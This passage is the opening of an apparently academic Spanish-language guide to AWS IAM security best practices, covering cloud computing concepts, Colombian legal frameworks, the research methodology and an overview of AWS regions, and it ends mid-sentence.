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Resumen
Cloud Computing es una forma innovadora de suministrar la infraestructura tecnologica
necesaria para impulsar las actividades organizacionales. Esta transformacion se logra al
aprovechar una infraestructura virtualizada, que reside en los datacenters de proveedores de
Cloud Computing (CSP, por sus siglas en inglés). No obstante, este enfoque puede generar
inquietudes, ya sea por la carencia de conocimientos técnicos para una gestion adecuada de la
infraestructura, o para garantizar que se tienen en cuenta elementos de seguridad en la misma.
Amazon Web Services (AWS) desempefia un papel crucial en el mercado de la nube gracias a su
liderazgo indiscutible, su amplio catalogo de servicios y su enfoque constante en la innovacion.
Ofreciendo elasticidad, escalabilidad y opciones flexibles de pago, AWS se convierte en un
aliado fundamental para la adopcion de tecnologias emergentes. Con presencia global, ofrece
soluciones fiables para diversos casos de uso, respaldadas por una comunidad so6lida y un
enfoque en el cumplimiento de los requisitos de seguridad y normativos. La influencia de AWS
en la transformacion digital es evidente, respaldando a organizaciones de todos los tamafios en su
busqueda de eficiencia operativa y crecimiento sostenible a través de la nube.
El presente documento a través del analisis de diversas fuentes documentales, y la realizacion y
documentacién de varios ejercicios practicos con AWS Identity And Access Management
(IAM), tiene como objetivo proporcionar una guia de buenas practicas relacionadas con dicho
servicio, que permita a los profesionales de Seguridad en la nube, el desarrollo de habilidades
enfocadas a optimizar la adopcion de Amazon Web Services (AWS), y servir como recurso que
contribuya a la generacion de conocimiento especifico en este campo.
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Abstract
Cloud Computing corresponds to an innovative way of providing the necessary technological
infrastructure to drive organizational activities. This transformation is achieved by leveraging
virtualized infrastructure, residing in the data centers of Cloud Computing providers (CSPs,
acronym in English). However, this approach may raise concerns, either due to the lack of
technical knowledge for proper infrastructure management, or to ensure that security elements
are taken into account.
Amazon Web Services (AWS) plays a crucial role in the cloud market thanks to its undisputed
leadership, extensive service catalog, and constant focus on innovation. Offering elasticity,
scalability, and flexible payment options, AWS becomes a key ally for the adoption of emerging
technologies. With global presence, it offers reliable solutions for various use cases, backed by a
strong community and a focus on compliance with security and regulatory requirements. The
influence of AWS on digital transformation is evident, supporting organizations of all sizes in
their pursuit of operational efficiency and sustainable growth through the cloud.
This document aims to provide a guide of best practices related to AWS Identity and Access
Management (IAM), through the analysis of various documentary sources and the execution and
documentation of several practical exercises. This guide is intended to enable cloud security
professionals to develop skills focused on optimizing the adoption of Amazon Web Services
(AWS) and serve as a resource that contributes to the generation of specific knowledge in this
field.
Keywords: Cloud Computing, Amazon Web Services, Good Security Practices, Identity

Management, Cybersecurity
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Introduccion

El documento titulado "Identificacion de buenas practicas de seguridad para el servicio
AWS Identity and Access Management (IAM)" destaca la importancia de la seguridad en los
entornos de Cloud Computing, con especial enfoque en Amazon Web Services (AWS). Aunque
AWS ofrece un ecosistema robusto y variado de servicios, muchas organizaciones enfrentan
desafios derivados de la falta de conocimientos especializados en seguridad en la nube. Este
trabajo tiene como objetivo abordar esas deficiencias proporcionando una guia integral de buenas
practicas y recomendaciones enfocadas especificamente en el servicio IAM.

El enfoque de esta guia se centra en principios fundamentales de seguridad como el
principio de menor privilegio y la implementacion de politicas basadas en roles, al tiempo que se
detalla la gestion segura de permisos criticos dentro de IAM. Asimismo, se abordan practicas
clave para reducir el riesgo de escalacion de privilegios y mitigar proactivamente el acceso no
autorizado.

Mediante la correcta aplicacion de estas recomendaciones, que incluyen la revision
periodica de permisos y el uso de autenticacion multifactor (MFA), los administradores pueden
optimizar la configuracion de sus entornos en la nube, garantizar un control adecuado sobre el
acceso y fortalecer la seguridad general. Este documento busca ser una herramienta valiosa para
que las organizaciones mantengan un entorno de AWS mas seguro y bien gestionado.

El objetivo de este documento es proporcionar una guia clara sobre como aplicar estas
recomendaciones en el servicio IAM de AWS, mejorando asi la seguridad y el control en los

entornos de la nube.



Planteamiento del Problema

Cloud Computing ha mejorado la manera en que las organizaciones acceden y utilizan
recursos informaticos esenciales para sus operaciones. Esta transformacion se logra al
aprovechar una infraestructura tecnolédgica virtualizada alojada en los servidores de proveedores
de servicios de Cloud Computing (también conocidos como Cloud Service Provider o CSP).
Amazon Web Services (también conocido como AWS) es un referente en el marcado de
computacion en la nube gracias a su liderazgo, extensa gama de servicios y constante
innovacion. Ofrece atributos como flexibilidad, escalabilidad y opciones de pago adaptativas, lo
que lo convierte en un socio esencial para la incorporacion de tecnologias emergentes. Su
presencia a nivel mundial proporciona soluciones altamente disponibles para una variedad de
aplicaciones, respaldadas por una sélida comunidad de usuarios y un firme compromiso con el
cumplimiento de los requisitos de seguridad y normativos. La influencia de AWS en la
transformacion digital es evidente, respaldando a organizaciones de todos los tamafios en su
busqueda de eficiencia operativa y expansion a través de la nube.

Sin embargo, y a pesar de estas ventajas, existe una brecha en el conocimiento en el
ambito de la seguridad en Amazon Web Services. Esto plantea un problema critico, ya que la
seguridad en la nube es fundamental en un entorno organizacional cada vez mas dependiente de
esta tecnologia. La escasez de profesionales con habilidades en este campo puede afectar
negativamente la informacion y los sistemas organizacionales, asi como la continuidad de las
operaciones.

Por lo tanto, el presente documento se centra en abordar esta problematica al
proporcionar una guia que aporta al desarrollo de habilidades en profesionales de Seguridad en

Cloud Computing. El objetivo es suministrar una guia de buenas practicas y recomendaciones de



seguridad relacionadas con AWS Identity And Access Management (IAM) identificadas a partir
de la realizacion y documentacion de ejercicios practicos con dicho servicio, que permita a los
profesionales de Seguridad en la nube, el desarrollo de habilidades enfocadas a optimizar el uso
de Amazon Web Services (AWS). Al hacerlo, se pretende aportar al cierre de la brecha de
conocimiento, a mejorar la seguridad en la nube y contribuir al avance colectivo en este campo
de répido crecimiento.
Formulacion del problema

(Cuales buenas practicas y recomendaciones de seguridad para AWS Identity And

Access Management (IAM) pueden ser identificadas a partir de la realizacién y documentacion

de ejercicios practicos con dicho servicio?



Justificacion

La adopcion de Cloud Computing ha cambiado la manera en que las organizaciones
acceden y gestionan recursos informaticos, lo que representa un avance significativo en la era
digital. Sin embargo, esta transformacion no estd exenta de desafios, particularmente en lo
relacionado con la capacidad de llevar a cabo implementaciones seguras en entornos basados en
la nube. En este contexto, y segiin IVCISA- AWS Consulting Service (2023), Amazon Web
Services se destaca como un lider en el mercado de la nube, brindando una amplia gama de
soluciones que fomentan la productividad y el rapido crecimiento de las empresas. Su posicion
destacada y su compromiso con la proteccion de datos lo posicionan como un socio fundamental
en la implementacion de tecnologias novedosas.

A pesar de las ventajas que AWS y Cloud Computing en general ofrecen, hay una clara
deficiencia en la formacion y adquisicion de habilidades por parte de los profesionales en
seguridad en la nube. Seglin se explica en el informe "La transformacién digital de la mano del
cloud computing y DevOps" de Freixas (2022), uno de los principales desafios que enfrenta el
Cloud Computing es la falta de especializacion entre los profesionales. Esta carencia representa
una amenaza para la seguridad de los datos y la continuidad de las operaciones de las
organizaciones en un mercado cada vez mas dependiente de la infraestructura tecnolégica.

Por lo tanto, existe la necesidad de abordar esta problematica y cerrar la brecha de
conocimiento sobre practicas de seguridad en AWS. La creacion de un documento basico que
guie a los profesionales de Seguridad en Cloud Computing en la adecuada gestion de identidades
en la nube de AWS es esencial para garantizar la seguridad en estos entornos. Ademas,

contribuira al avance colectivo en este campo de rapido crecimiento y fomentara la construccion



de conocimiento especifico, beneficiando a organizaciones de todos los tamaiios en su busqueda

de eficiencia operativa y crecimiento sostenible a través de la nube.



Objetivos
Objetivo General
Identificar las buenas practicas y recomendaciones de seguridad para el Servicio AWS
Identity And Access Management (IAM)
Objetivos Especificos
Documentar los distintos conceptos necesarios para entender el paradigma del Cloud
Computing.
Detallar y entender las caracteristicas del servicio AWS Identity And Access
Management (IAM)
Llevar a cabo y documentar una serie de ejercicios practicos para entender
funcionamiento del Servicio AWS Identity And Access Management (IAM).
Identificar las buenas practicas y recomendaciones de seguridad para el Servicio AWS

Identity And Access Management (IAM).



Marco Referencial y Teorico
Estado del arte

La ciberseguridad ofensiva en entornos AWS (Amazon Web Services) es un campo en
constante evolucion, donde la mayoria de la informacién relevante se encuentra en inglés.
Diversos expertos y fuentes han abordado esta tematica, ofreciendo recursos y conocimientos
esenciales para profesionales de la seguridad. A continuacion, se presentan algunas de las
principales fuentes que destacan en este &mbito:

Hacking The Cloud: Segun Frichetten (2024), este recurso es una compilacion
exhaustiva de técnicas y herramientas utilizadas en la ciberseguridad ofensiva en la nube.
Proporciona guias detalladas y ejemplos practicos para realizar pruebas de penetracion en
entornos AWS.

Rhino Security Labs: Es conocido por sus investigaciones y publicaciones sobre
seguridad en la nube. Su blog incluye una categoria especifica para AWS, donde se discuten
vulnerabilidades, exploits y metodologias de ataque (Rhino Security Labs, 2024).

Unit 42 de Palo Alto Networks: Unit 42 es el equipo de investigacion de amenazas de
Palo Alto Networks (2024).Sus informes y articulos ofrecen analisis profundos sobre amenazas
emergentes y vulnerabilidades en AWS, ayudando a la comunidad a entender y mitigar riesgos

Bishop Fox: Bishopfox (2024a) ha desarrollado multiples herramientas y metodologias
para la escalacion de privilegios en AWS. Sus investigaciones y herramientas, como "AWS
PrivEsc Methods", son recursos valiosos para cualquier profesional interesado en la seguridad

ofensiva en la nube.



La Biblia del Hacking en AWS: Desarrollado por Rueda (2024), es un recurso creado
para aprender desde los fundamentos de la computacion en la nube hasta las técnicas mas
avanzadas de hacking ético en entornos de AWS.

Repositorio de Bishop Fox en GitHub - IAM Vulnerable: También desarrollado por
Bishopfox (2024b). Este repositorio es una herramienta educativa que simula un entorno AWS
inseguro. Permite a los usuarios practicar y aprender sobre vulnerabilidades comunes y técnicas
de explotacion en IAM (Identity and Access Management).

Estas fuentes no solo proporcionan informacion técnica avanzada, sino que también
contribuyen significativamente al desarrollo de practicas de seguridad mas robustas en entornos
AWS. La informacioén esta principalmente en inglés, lo que resalta la necesidad de un buen
dominio del idioma para acceder y comprender estos recursos vitales en el campo de la
ciberseguridad ofensiva en la nube.

Computacion en la Nube

Computacién en la Nube, o Cloud Computing, representa una forma distinta de
implementar la infraestructura tecnoldgica: los servidores, discos duros y otros componentes
esenciales estan virtualizados y alojados en datacenters remotos, bajo la propiedad y gestion de
proveedores de servicios de Cloud Computing (CSP). Los usuarios finales tienen la capacidad de
acceder a esta infraestructura a través de Internet desde cualquier dispositivo. La utilizacion de
estos recursos puede ser de naturaleza gratuita o estar sujeta a un cargo mensual o basado en el
consumo, dependiendo de la naturaleza del servicio o los términos acordados con el CSP.

Los servicios proporcionados mediante Cloud Computing abarcan una amplia gama

herramientas, que incluyen aplicaciones de productividad y correo electronico hasta el



almacenamiento de datos, la implementacion de aplicaciones y el anélisis y gestion de
informacion.

Grace & Mell (2011), en un documento para The National Institute of Standards and
Technology — NIST, definen a Cloud Computing como "un modelo que permite un acceso
ubicuo, conveniente y bajo demanda a un conjunto compartido de recursos informaticos
configurables, que incluyen redes, servidores, almacenamiento, aplicaciones y servicios. Estos
recursos pueden ser aprovisionados y liberados de manera rapida y con un esfuerzo minimo de
gestion o interaccion por parte del proveedor de servicios™.

Caracteristicas Esenciales

Grace & Mell (2011) identifican las siguientes caracteristicas sobresalientes de Cloud
Computing:

Facturacion segun el Uso: El costo de los servicios de Cloud Computing corresponde
solo al consumo, lo que significa que el cliente es facturado tinicamente por la cantidad de
recursos que utiliza.

Abstraccion: La abstraccion permite que los clientes accedan a servicios informaticos sin
preocuparse por los detalles de la infraestructura subyacente.

Escalabilidad: La escalabilidad permite aumentar o disminuir automaticamente los
recursos de acuerdo con las necesidades del cliente, sin requerir ajustes contractuales ni
intervencion manual.

Multiusuario: Los recursos y la informacion pueden ser compartidos entre multiples
usuarios.

Aprovisionamiento Unilateral: Los usuarios pueden asignar recursos de computo de

manera independiente segiin sus necesidades sin requerir la interaccion del CSP.



Acceso al Servicio: La infraestructura puede ser accedida a través de Internet y usando
multiples tipos de dispositivos.

Comparticion de Recursos: Los recursos fisicos son compartidos entre multiples
clientes, pero cada cliente solo tiene acceso a sus propios recursos.

Transparencia en el Uso y Facturacion: El CSP monitoriza y notifica automaticamente
el uso de la infraestructura, lo cual otorga al cliente final claridad en cuanto al uso del servicio y
la respectiva facturacion.

Virtualizacion de Recursos: Los elementos de infraestructura virtualizados representan
abstracciones de dispositivos fisicos, lo que permite a los usuarios interactuar con ellos de
manera eficiente.

Transparencia Tecnolégica: Los usuarios finales no necesitan preocuparse por la
complejidad tecnologica subyacente, como lenguajes de programacion o arquitecturas, ya que
interactiian solo con la capa de servicio que han contratado.

Seguridad y Recuperacion de Desastres: El CSP debe garantizar que dispone de los
recursos adecuados para cumplir con los compromisos establecidos en relacion con los plazos de
recuperacion y la disponibilidad de la infraestructura tecnolégica.

Modelos de Servicio

En cuanto a los modelos de servicio en la nube, Toa Quinoa (2023) identifica tres,
asociados al tipo de servicio que se virtualiza (infraestructura como servicio, plataforma como
servicio o software como servicio):

Software as a Service — SaaS: El proveedor proporciona tanto el software como la
infraestructura requerida para su funcionamiento. Un ejemplo comun de esto es el servicio de

correo electronico, como Hotmail o Yahoo, al cual se puede acceder mediante un navegador web



o una aplicacion. Esta modalidad resulta beneficiosa para el usuario final al liberarlo de la
responsabilidad de mantener y actualizar el software, ya que las actualizaciones se realizan en los
servidores gestionados por el CSP.

Platform as a Service — PaaS: En este caso, se aprovecha la infraestructura informética
proporcionada por el CSP para realizar el desarrollo, pruebas y ejecucion de aplicaciones. Los
usuarios pueden acceder a sus aplicaciones desde cualquier dispositivo mediante Internet, sin
tener que preocuparse por la infraestructura subyacente, el sistema operativo o la asignacion de
recursos. Aunque el cliente conserva el control sobre el desarrollo y el uso de las aplicaciones, no
se encarga de la administracion de la infraestructura.

Infrastructure as a Service - IaaS: En este modelo, el usuario ejerce un control
autébnomo sobre los recursos de procesamiento, almacenamiento y redes virtuales. Utilizando una
interfaz proporcionada por el proveedor de servicios en la nube (CSP), el usuario puede adaptar
las caracteristicas de cada proyecto seglin sus necesidades, como la cantidad de unidades de
procesamiento, la capacidad de almacenamiento y las politicas de seguridad de la red. Este grado
de control ofrece una gestion avanzada de los recursos, presentandolos de forma familiar y
similar a los entornos de trabajo tradicionales.

Otros modelos de Servicio: Ademas, existe el término “Seguridad como servicio” o
"Security as a Service" (SecaaS), que, segun el trabajo de Jurgata (2022), abarca la entrega
flexible de aplicaciones y servicios de seguridad a través de la nube. Este enfoque se centra en la
estructura de seguridad de las tecnologias de la informacidn y se presenta como un modelo de
externalizacion de servicios de ciberseguridad proporcionados a través de la nube. Dentro de este
esquema, el CSP ofrece servicios de seguridad mediante suscripcion, lo que conlleva beneficios

como la reduccion de costos, la actualizacion constante con los ultimos parches de seguridad y



una rapida disponibilidad de los servicios. La popularidad de SecaaS ha ido en aumento en
numerosas organizaciones, ya que simplifica las responsabilidades de seguridad interna y
permite expandir las capacidades de seguridad a medida que la empresa crece.

Modelos de Despliegue

En cuanto a la tipificacidon de la nube en relacion con la propiedad o el acceso a los
servicios, se ha resumido de la siguiente manera por Sofrone (2022):

Nube Publica: En este modelo, una infraestructura tecnologica so6lida y sofisticada es
gestionada por un CSP, que puede tener multiples clientes. Los usuarios no tienen visibilidad
sobre otros usuarios ni acceso a sus archivos. Ademas, carecen de informacion sobre la ubicacion
exacta de sus datos o procesos.

Nube Privada: Esta nube es operada por la misma compafiia que la utiliza o por terceros
bajo su control. La organizacion es la propietaria y tiene control total sobre las politicas de
administracion y seguridad. Es realmente una infraestructura "On Premise" de organizaciones
que necesitan altos niveles de seguridad y control, aunque puede conllevar costos elevados de
construccion y mantenimiento.

Nube Hibrida: Este enfoque integra multiples infraestructuras en la nube, incluyendo
combinaciones de nubes privadas con nubes publicas, e incluso la interconexién de dos nubes
privadas distintas. Esto permite aprovechar las ventajas y beneficios individuales que cada una
de estas infraestructuras ofrece de manera independiente.

Partes Interesadas de Cloud Computing

Dentro del ambito de Cloud Computing, es posible identificar varios roles y actores que

desempefian funciones especificas en la provision de servicios. Estos roles son descritos por

Torres Gonzalez (2019) asi:



Cliente de Servicios en la Nube (CSC): El cliente desempefia un papel fundamental en
la relacion comercial, ya que, teniendo pleno conocimiento del catdlogo de servicios y tarifas
ofrecidos por el CSP, contrata los productos que mejor cubran sus necesidades tecnologicas.
Ademas, establece contratos y negocia acuerdos que satisfacen sus requisitos en cuanto a calidad
de servicio, seguridad y capacidad de escalabilidad en caso de fallos.

Proveedor de Servicios en la Nube (CSP): Un CSP es el proveedor de servicios de
Cloud Computing. Las principales responsabilidades del CSP incluyen mantener la
disponibilidad del servicio, garantizar la seguridad fisica y 16gica, encriptar datos, realizar copias
de seguridad y cumplir con los acordados contratados.

Auditor de la Nube: Es una parte interesada externa u organizacion encargada de validar
si el CSP cumple con las leyes, estandares y normativas aceptadas por la industria. Esto se logra
a través de auditorias que revisan evidencia, controles informéaticos y el cumplimiento de las
normativas relacionadas con la seguridad y la calidad. El auditor de la nube desempefia un papel
esencial en la garantia de que el CSP cumple con los requisitos regulatorios y de seguridad.

Los niveles de responsabilidad del Cliente y el Proveedor varian segun el modelo de

despliegue, lo que se ilustra en la gréafica a continuacion:



Figura 1 Esquema de Responsabilidad Segun el Modelo de Servicio
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Fuente: NET APP. Key Differences Between [aaS, PaaS and SaaS [imagen]. En: [aaS
(Infrastructure as a Service): The Ultimate Guide. [Consultado: 1 de abril de 2024]. Disponible
en: https://bluexp.netapp.com/iaas
Seguridad Informatica

Segtn Arango Gémez (2023), la seguridad informatica comprende una serie de tacticas,
herramientas y procedimientos disefiados para proteger la confidencialidad, integridad y
disponibilidad de los datos y la informacion manejados y almacenados por los sistemas
informaticos.
Analisis de Vulnerabilidades

Castro (2018) define vulnerabilidad y analisis de vulnerabilidades de la siguiente manera:
Una vulnerabilidad se puede definir como un punto débil en un sistema que tiene el potencial de

comprometer su seguridad. Estas debilidades permiten que un atacante pueda vulnerar la



seguridad de la informacion del sistema, lo que puede resultar en la disminucion de su eficacia.
Las vulnerabilidades también pueden recibir otros nombres, como fallos o debilidades. Estas
debilidades pueden manifestarse en diversos activos tecnoldgicos y procesos. Por ejemplo, en
una red de computadoras, una vulnerabilidad o fallo podria deberse a un disefio deficiente, una
instalacion incorrecta o incluso a la falta de resolucion de controles internos en un sistema. Estos
fallos pueden abrir pequefias brechas que representan un riesgo para la empresa.

El analisis de vulnerabilidades se utiliza para fortalecer la seguridad en un entorno de
trabajo, con el objetivo de prevenir posibles ataques. Este enfoque se emplea para identificar
vulnerabilidades en sistemas, asi como en componentes eléctricos o de comunicacion.

Aspectos Legales y Normativos

El presente documento aborda un conjunto de contenidos y técnicas relacionadas con la
seguridad en la nube y la infraestructura tecnologica. Es fundamental destacar que estas
actividades pueden ser potencialmente intrusivas y, por lo tanto, es crucial comprender el
contexto legal en Colombia que rige el uso de estas habilidades. En este sentido, es de suma
importancia sefialar que el contenido publicado en este documento tiene como objetivo principal
brindar informacion y educacion en el ambito de la seguridad informatica y la nube. Las técnicas
y conocimientos aqui expuestos se desarrollan y ejecutan exclusivamente en entornos
controlados con fines educativos y éticos. Sin embargo, es esencial subrayar que el mal uso de
las habilidades de seguridad en la nube, o cualquier otra infraestructura tecnolégica, puede tener
consecuencias legales graves. Por lo tanto, quienes accedan a este documento deben ser

conscientes de su responsabilidad en el uso de esta informacion.



Ley 1266 de 2008: Derecho a la Informacion Personal

La ley estatutaria 1266/2008 del Congreso de la Republica tiene como finalidad
fundamental preservar el derecho de los ciudadanos a acceder a la informacidon que concierne a
su persona, almacenada en diversas bases de datos. Su ambito de aplicacion se centra en datos
financieros, crediticios, comerciales y de servicios, aunque también contempla otros aspectos de
relevancia.

El proposito primordial de esta legislacion es asegurar que las personas tengan la
capacidad de conocer, actualizar o rectificar la informacion que reposa sobre ellas en distintos
sistemas de almacenamiento de datos, tanto administrados por entidades publicas como privadas.
En su esencia, la ley busca establecer un marco juridico que salvaguarde la privacidad y los
derechos individuales en relacion con sus datos personales.

Ley 1273 de 2009: Sobre Delitos Informaticos en Colombia

La Ley 1273/2009 del Congreso de la Republica, también conocida como la ley de
Delitos Informaticos en Colombia, tiene como objetivo principal salvaguardar la integridad de la
informacion y los datos personales en el ambito digital. Este marco legal introduce una serie de
disposiciones que regulan diversas conductas vinculadas con la seguridad de la informacion y el
uso indebido de sistemas informaticos. Entre los aspectos més destacados de esta legislacion se
encuentran:

Proteccion de Datos Personales: Esta disposicion sanciona la obtencion, recopilacion,
sustraccion, oferta, venta, intercambio, envio, compra, interceptacion, divulgacién, modificacion
0 uso no autorizado de codigos y datos personales contenidos en ficheros, archivos, bases de

datos u otros medios similares.



Suplantacion de Sitios Web para Obtener Datos Personales: La normativa también
penaliza la suplantacion de sitios web con la finalidad de obtener datos personales de forma
ilicita. Esto incluye el disefio, desarrollo, trafico, venta, ejecucion o programacion de paginas
electronicas, enlaces o ventanas emergentes con propositos fraudulentos. Las penas para este tipo
de delito pueden variar segtin la conducta y pueden aumentarse si el perpetrador involucra a otras
personas en la comision del ilicito.

Otros Delitos Informaticos: Ademas de la violacion de datos personales, la Ley 1273
también contempla otras conductas delictivas relacionadas con la informatica, como el acceso
abusivo a un sistema informatico, la interferencia ilegitima en sistemas informaticos o redes de
telecomunicaciones, la interceptacion de datos informaticos, el dafio informatico y el uso de
software malicioso.

Ley 1341 de 2009: Definicion de la Sociedad de la Informacion y las TIC

La Ley 1341/2009 del Congreso de la Republica representa un marco normativo que
establece los principios y conceptos fundamentales asociados con la sociedad de la informacion,
asi como la configuracion de las Tecnologias de la Informacion y las Comunicaciones (TIC).
Ademas de estos aspectos, la legislacion también prevé la creacion de la Agencia Nacional del
Espectro y aborda otras disposiciones de relevancia en este campo.

Un elemento central de esta ley es conferir al Ministerio de Tecnologias de la
Informacién y las Comunicaciones la autoridad para formular, adoptar y promover politicas,
planes, programas y proyectos en el ambito de las TIC. Asimismo, se le otorga la capacidad de
fomentar el acceso y la utilizacioén de nuevas tecnologias, subrayando asi la importancia de la
regulacion y promocion de la tecnologia de la informacion y las comunicaciones en el contexto

colombiano.



ISO/IEC 27001:2022

“Information Technology - Security Techniques — Information Security Management
Systems — Requirements”, (ISO, 2022). La norma ISO/IEC 27001:2022 establece los requisitos
fundamentales para la implementacion y certificacion de un Sistema de Gestion de Seguridad de
la Informacion (SGSI) en una organizacion. El objetivo principal del SGSI es garantizar la
confidencialidad, integridad y disponibilidad de la informacion a través de la aplicacion de

controles y medidas de seguridad apropiadas.



Marco Metodologico
Enfoque de la Investigacion

El presente documento sigue un enfoque practico y tedrico, ya que combina el analisis
conceptual de Cloud Computing con el desarrollo de ejercicios practicos en un entorno simulado.
Este enfoque se desarrolla especificamente utilizando Amazon Web Services (AWS),
centrandose en el servicio AWS Identity and Access Management (IAM). Se exploran tanto los
principios de seguridad implicitos como las practicas recomendadas para gestionar el acceso y
los permisos en entornos de la nube.

Por el lado teorico, el documento abarca una revision de los conceptos clave de Cloud
Computing y aspectos relacionados con la gestion de la identidad y el acceso en AWS. Esto se
complementa con un enfoque practico mediante la realizacion de ejercicios en un entorno
controlado de AWS, con el objetivo de poner en practica los principios de seguridad
identificados.

El componente practico incluye el desarrollo de ejercicios concretos que implican la
implementacion de politicas basadas en el principio de menor privilegio, la gestion de permisos
criticos y la reduccion del riesgo de escalacion de privilegios. A través de estos ejercicios, los
profesionales pueden adquirir experiencia directa en la configuracion segura del servicio IAM,
incluyendo la integracion de autenticacion multifactor (MFA) y la revision periddica de
permisos.

Este enfoque de investigacion mixto garantiza no solo la comprension de los conceptos
tedricos clave, sino también el desarrollo de habilidades técnicas aplicables, brindando una guia

practica para mejorar la seguridad en la gestion de identidades en AWS.



Tipo de Investigacion

Esta investigacion es de tipo aplicada, ya que su objetivo principal es generar
conocimiento practico que pueda ser utilizado para mejorar la seguridad en el uso del servicio
AWS Identity and Access Management (IAM). La investigacion no solo se centra en la
identificacion de buenas practicas, sino que también busca proponer recomendaciones de
seguridad que sean aplicables a entornos reales de organizaciones que utilizan AWS como su
plataforma de computacion en la nube.

La investigacion aplicada tiene un enfoque practico y busca solucionar problemas
concretos, como en este caso, la gestion de identidades y accesos en AWS, un tema critico en la
seguridad de entornos de Cloud Computing. El proposito es que los resultados obtenidos puedan
ser implementados directamente por profesionales de seguridad de la informacion para mejorar
sus procesos y configuraciones de seguridad en AWS IAM. La identificacion de buenas
practicas, como la implementacion del principio de menor privilegio y el uso de autenticacion
multifactor (MFA), se complementa con la entrega de recomendaciones claras que se basan en la
documentacién y ejecucion de ejercicios practicos. Esto garantiza que la investigacion aporte al
desarrollo de habilidades especializadas en la administracion segura de entornos en la nube.
Instrumentos de Recoleccion de Informacion

Se emplearon los siguientes instrumentos:

e Revision documental de literatura especializada y recursos en linea.
e Documentacion oficial de AWS.
e Ejercicios practicos disefiados y documentados desde la consola de AWS y

herramientas CLI.



Desarrollo Metodologico

El desarrollo metodologico de este trabajo esta organizado en cuatro fases, orientadas a
cumplir con los objetivos especificos del proyecto. Este enfoque progresivo permite un analisis
tanto tedrico como practico sobre la Gestion de Identidades y Accesos en AWS mediante el uso
del servicio Identity and Access Management (IAM). A continuacion, se describen
detalladamente las cuatro fases:

Fase 1: Revision Teorica de Cloud Computing

Esta primera fase se enfoca en una revision teodrica sobre los conceptos fundamentales de
Cloud Computing. Su objetivo es proporcionar un marco conceptual que sirva como base para el
analisis técnico y practico posterior de AWS IAM. Esta fase incluye:

Definiciones y conceptos clave: Se mencionan los fundamentos de Cloud Computing,
como los modelos de servicio (IaaS, PaaS, SaaS) y de implementacion (nube publica, privada e
hibrida).

Terminologia clave en el contexto de AWS: Se incluyen algunos conceptos claves de
dicha nube, como lo son la forma que se distribuye geograficamente, como implementa sus
medidas de seguridad, o como establece el modelo de responsabilidad compartida.

Esta fase establece las bases conceptuales y operativas necesarias para comprender el
contexto en el que opera AWS IAM vy preparar la ejecucion de las fases posteriores.

Fase 2: Analisis del Servicio AWS IAM
En la segunda fase, se realiza un analisis de AWS Identity and Access Management

(IAM), el servicio fundamental para gestionar identidades y permisos en AWS. Se incluye:



Revision de la documentacion oficial de AWS: Se examinan en detalle las
caracteristicas de IAM, prestando especial atencion a elementos de seguridad como la creacion y
administracion de usuarios, grupos, roles y politicas de acceso.

Lo anterior proporciona una comprension de como funciona IAM vy sirve para entender la
ejecucion de los ejercicios en la siguiente fase.

Fase 3: Ejercicios de Verificacion de la Configuracion de IAM

En la tercera fase, se llevan a cabo ejercicios practicos diseniados para entender AWS
IAM. Estos ejercicios ofrecen una experiencia directa con la gestion de identidades y accesos en
AWS. Las actividades clave incluyen:

Configuracion y gestion de usuarios y roles: Se configuran y gestionan identidades
(usuarios y roles) en IAM, implementando buenas practicas de seguridad.

Enumeracion y analisis de permisos: Se realiza un andlisis detallado de los permisos y
roles, con el objetivo de identificar configuraciones inadecuadas que puedan facilitar la
escalacion de privilegios o accesos no autorizados.

Cada ejercicio es documentado con instrucciones detalladas, capturas de pantalla de la
ejecucion de los comandos y explicacion de los resultados, proporcionando una vision practica
de como gestionar correctamente IAM y los riesgos asociados a su mal uso.

Fase 4: Recomendaciones de Seguridad en el Servicio IAM de AWS

La ultima fase se enfoca en ofrecer conclusiones y recomendaciones sobre como mejorar

la seguridad en AWS IAM. Esta fase recoge las mejores practicas de seguridad basadas en los

analisis teoricos y los ejercicios practicos realizados. Las principales actividades son:



Identificacion de buenas practicas de seguridad: Se documentan recomendaciones
clave, como el principio de menor privilegio, la rotacion frecuente de credenciales, y la
implementacion de politicas de acceso condicional.

Propuestas de mitigacion: Se ofrecen medidas especificas para mitigar riesgos comunes
identificados durante los ejercicios, tales como la escalacion de privilegios y accesos no
autorizados.

Esta fase final proporciona los elementos basicos para implementar IAM de forma segura
en entornos de produccion, minimizando los riesgos y optimizando el control de acceso a los

recursos en la nube.



Fase 1: Revision Teorica de Cloud Computing
Generalidades de Amazon Web Services - AWS

Amazon Web Services (2024a) es una plataforma de servicios en la nube desarrollada por
la empresa estadounidense Amazon.com, Inc. Desde su inicio en 2006, su objetivo ha sido
proporcionar servicios de infraestructura tecnoldgica a empresas en todo el mundo, basandose en
los modelos de infraestructura y plataforma como servicio. A lo largo de los afios, AWS ha
experimentado un crecimiento significativo y actualmente opera en mas de 245 paises.

La infraestructura fisica de AWS consiste en recursos como servidores, unidades de
almacenamiento y una red privada, los cuales estdn organizados en "centros de datos"
distribuidos en multiples ubicaciones globales. Estos centros de datos siguen una estructura
jerarquica que incluye regiones y zonas de disponibilidad.

AWS juega un papel fundamental en el mercado de la nube debido a su liderazgo, amplia
gama de servicios y continua innovacion. Sus caracteristicas clave incluyen elasticidad,
escalabilidad y opciones de pago flexibles, lo que la convierte en una opcion vital para la
adopcion de tecnologias emergentes. Con su presencia global, AWS ofrece soluciones seguras y
fiables para una variedad de casos de uso, respaldadas por una solida comunidad de usuarios y
un fuerte enfoque en la seguridad y el cumplimiento normativo. Su impacto en la transformacion
digital es evidente, respaldando a organizaciones de todos los tamafos en su busqueda de
eficiencia operativa y crecimiento a través de la nube.

Zonas y Regiones

Amazon Web Services (2024b) utiliza el concepto de regiones que son ubicaciones

fisicas a nivel mundial donde agrupa sus centros de datos. Cada regiéon de AWS se compone de

al menos tres zonas de disponibilidad independientes y fisicamente separadas dentro de la misma



area geografica. Estas zonas de disponibilidad cuentan con suministro de energia, sistemas de
refrigeracion y seguridad fisica propios, ademas de estar interconectadas mediante redes de baja
latencia y alta redundancia.

En cuanto a las zonas de disponibilidad (AZ), cada una consiste en uno o mas centros de
datos independientes que cuentan con suministro de energia, redes y conectividad redundantes
dentro de una region de AWS. Estas zonas permiten a los clientes operar bases de datos y
aplicaciones de produccion con mayor disponibilidad, tolerancia a fallos y escalabilidad que lo
que ofreceria un solo centro de datos. Todas las zonas de disponibilidad en una region de AWS
estan conectadas a través de una red de alta velocidad y baja latencia, lo que garantiza que el
trafico entre ellas esté cifrado y que la replicacion de datos sea sincronica.

La infraestructura global de Amazon Web Services (2024c¢) es una de las mas extensas y
